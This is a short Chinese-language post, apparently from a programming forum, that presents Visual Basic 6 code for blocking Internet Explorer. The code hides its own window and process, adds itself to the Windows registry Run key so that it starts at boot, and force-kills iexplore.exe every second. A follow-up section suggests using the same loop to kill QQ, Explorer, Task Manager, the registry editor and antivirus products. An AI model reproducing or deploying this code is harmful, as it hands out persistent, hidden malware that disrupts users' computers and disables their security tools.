2句代码让你无法启动IE浏览器
Private Sub Form_Load()Form1.Visible = False '隐藏窗体
App.TaskVisible = False '隐藏进程
'写入注册表,开机自动运行
Set w = CreateObject("wscript.shell")
w.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & App.EXEName, App.Path & "\" & App.EXEName & ".exe" '上一行的 否则报错
Timer1.Interval = 1000
End Sub
Private Sub Timer1_Timer()
Randomize
Shell "taskkill /f /im iexplore.exe", vbHide '关闭IE
End Sub
-----------------------------------------------------------------------
以下为引申
利用 Shell "taskkill /f /im 进程", vbHide 可以关闭自己想杀的进程,如QQ.exe，explorer.exe,taskmgr.exe(任务管理器),regedit.exe(注册表)甚至360安全卫士，金山
放入时间控件代码中 达到循环
修改注册表现在杀毒软件都要报吧
------------
